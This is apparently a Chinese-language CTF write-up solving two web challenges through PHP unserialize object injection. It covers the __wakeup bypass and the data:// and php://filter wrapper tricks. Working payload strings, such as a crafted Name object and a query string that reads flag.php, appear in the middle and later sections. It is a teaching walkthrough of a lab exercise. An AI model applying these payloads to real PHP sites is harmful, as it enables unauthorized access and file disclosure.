赞
踩
本文主要记录[极客大挑战 2019]PHP和[ZJCTF 2019]NiZhuanSiWei解题过程以及相关思路
打开题目,发现提示备份网站,那么就考虑寻找网站的备份文件,这里我是用的是dirsearch
果不其然,发现备份文件为www.zip,拼接到url后面直接下载
发现其中有3个php文件
index.php
其中包含了class.php,同时需要以GET方式传递select参数,还使用了unserialize函数
<!DOCTYPE html>
...
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
...
</html>
class.php
其中定义了一个Name类,其含有两个private属性,同时还重载了__construct()、__wakeup()、__destruct()三个魔术方法。
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
PHP常见魔术方法:
__construct: 构造函数,会在每次创建新对象时先调用此方法
__destruct: 析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString:返回一个类被当做字符串时要输出的内容,此方法必须返回字符串并且不能在此方法中抛出异常,否则会产生致命错误
__sleep:序列化对象之前就调用此方法,返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup:与__sleep相反,是在unserialize函数反序列化时首先会检查类中是否存在__wakeup方法,如果存在会先调用次方法然后再执行反序列化操作
__call:在对象中调用一个不可访问方法时调用
flag.php
假flag
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
既然class.php中给出了类的定义,index.php中又使用到了unserialize函数,应该就是考PHP的反序列化了
首先构造一个序列化对象,username为admin,password为101(故意不设为100,希望看到打印出来的数值),发现不行,因为在执行unserialize函数前检测到了__wakeup()函数,会先执行__wakeup()函数,那么此时username的值被改为guest
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"101";}
那么就需要考虑绕过__wakeup()函数,当序列化对象中的成员数大于
实际成员数时,就可以绕过__wakeup()函数,即payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
打开题目发现需要以GET方式传递三个参数,并且还使用到了file_get_contents()、preg_match()、unserialize()等函数
首先看看file_get_contents()的声明,其实从函数名也可以看出,是一个用于将文件内容读入一个字符串的函数,那么题目中要求我们读$text
这个文件,并且这个文件的内容需要为welcome to the zjctf
那么我们去哪里找这样一个文件呢?我第一个思路是看看网站目录下会不会存在这样一个文件,我再让$text
的值为文件名就可以了,同样是用dirsearch,不过很可惜,没有收获。既然本地没有,那可以试试远程的文件,在官方的函数介绍中,发现$filename
可以是http地址,那么如果我在我自己的服务器中准备一个内容符合的文件,再将$text
设置为相应的地址,是不是就可以通过了呢?这里由于我没有服务器,还请各位师傅自己下去试试,可以的话也告诉我一下结果如何。
不过,我们还有一个老朋友–PHP伪协议
姿势一:
将welcome to the zjctf
写在POST数据位置处,即可绕过
姿势二:
这里welcome to the zjctf
的base64编码为d2VsY29tZSB0byB0aGUgempjdGY=
下一步,$file
的内容中不能含有flag,不过由于是使用include函数,那么就又可以使用php伪协议来读取注释中所提示的useless.php的内容
base64解码后得到useless.php的代码,发现其中又使用到了file_get_contents(),并给出提示,应该就是要读flag.php的内容
那么password字段应该是需要传输序列化后的Flag对象字符串,当echo输出对象时会调用__tostring()方法,从而调用file_get_contents()读取flag.php(此时别忘了file参数需要修改为useless.php,因为刚刚是读取文件内容,而现在反序列需要用到useless.php中定义的类,所以需要包含useless.php)
payload:
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
<?php class Test { public $name = "Bob"; protected $gender = "man"; private $age = "23"; public function __toString() { echo $this->name . "--->tostring!" . '<br>'; return ""; } public function __sleep() { echo "sleep!" . '<br>'; return array('name', 'gender', 'age'); } public function __wakeup() { echo "wakeup!" . '<br>'; } public function __construct() { echo "construct!" . '<br>'; } public function __destruct() { echo $this->name . "--->destruct!" . '<br>'; } } $test = new Test(); echo 'serialize!' . '<br>'; $s_test = serialize($test); echo $s_test; //O:4:"Test":3:{s:4:"name";s:3:"Bob";s:9:"*gender";s:3:"man";s:9:"Testage";s:2:"23";} echo '<br>'; echo urlencode($s_test); echo '<br>'; echo 'unserialize!' . '<br>'; $u_test = unserialize($s_test); $u_test->name = "Alice"; echo $u_test; ?>
这段代码验证了上面所说到的魔术方法的执行顺序,下面则重点分析序列化的结果
O:4:"Test":3:{s:4:"name";s:3:"Bob";s:9:"*gender";s:3:"man";s:9:"Testage";s:2:"23";}
O
(代表是一个对象):4
(对象名长度为4):"Test"
(对象名):3
(对象所含有的属性的个数)
{
…}
中表示的是具体的属性名和属性值
s
(属性名为字符串类型):4
(属性名长度为4):"name"
(属性名);s
(属性值为字符串类型):3
(属性值长度为3):"Bob"
(属性值);
name
就可以,对应长度为4s
(属性名为字符串类型):9
(属性名长度为9):"*gender"
(属性名);s
(属性值为字符串类型):3
(属性值长度为3):"man"
(属性值);
%00*%00gender
(%00*%00属性名),对应长度为9s
(属性名为字符串类型)):9
(属性名长度为9):"Testage"
(属性名);s
(属性值为字符串类型):2
(属性值长度为2):"23"
(属性值);
%00Test%00age
(%00类名%00属性名),对应长度为9注:因为%00是不可见字符,所以打印出来是不可见的,不过当我们进行url编码的时候,就可以看到%00(如上图框框),所以%00还是会占用1个长度
常见的序列化类型如下,详情可以看看这篇文章:
a - array
b - boolean
d - double
i - integer
s - string
O - class
N - null
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。